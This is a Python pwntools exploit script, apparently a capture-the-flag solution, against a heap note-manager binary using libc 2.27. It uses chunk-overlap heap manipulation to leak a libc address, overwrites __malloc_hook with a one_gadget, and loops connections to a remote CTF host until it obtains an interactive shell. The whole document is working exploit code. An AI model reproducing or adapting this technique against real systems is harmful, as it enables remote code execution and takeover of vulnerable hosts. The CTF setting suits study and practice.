1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') malloc_hook_s = libc.symbols['__malloc_hook'] one_gadget_s = 0x10a38c
def add(size,content): sh.sendlineafter('>','1') sh.sendlineafter('The size of note:',str(size)) sh.sendlineafter('The content of note:',content)
def show(index): sh.sendlineafter('>','2') sh.sendlineafter('Index:',str(index))
def delete(index): sh.sendlineafter('>','4') sh.sendlineafter('Index:',str(index))
def exploit(): add(0,'a') add(0x50,'b') add(0,'c') add(0x50,'d') add(0x50,'e') delete(4) delete(3) delete(2) add(0,'c'*0x8 + p64(0) + p64(0x61) + p8(0x1B - 8)) add(0x50,'d') add(0x50,'\x00' + p8(0xFF)) payload = 'a'*0x8 + p64(0) + p64(0x60 + 0x20 + 0x61) delete(0) add(0,payload) delete(1) add(0x20,'b') add(0x20,'b') show(2) sh.recvuntil('2 : ') main_arena_xx = u64(sh.recv(6).ljust(8,'\x00')) malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF) libc_base = malloc_hook_addr - malloc_hook_s if libc_base >> 40 != 0x7F: raise Exception('error leak!') one_gadget_addr = libc_base + one_gadget_s print 'libc_base=',hex(libc_base) print 'malloc_hook_addr=',hex(malloc_hook_addr) print 'one_gadget_addr=',hex(one_gadget_addr) delete(3) add(0x60,'c'*0x18 + p64(malloc_hook_addr-0x8)) add(0x50,'c') add(0x50,p64(one_gadget_addr)) sh.sendlineafter('>','1') sh.sendlineafter('The size of note:','1')
while True: try: global sh sh = remote('node3.buuoj.cn',25167) exploit() sh.interactive() except: sh.close() print 'trying...'
|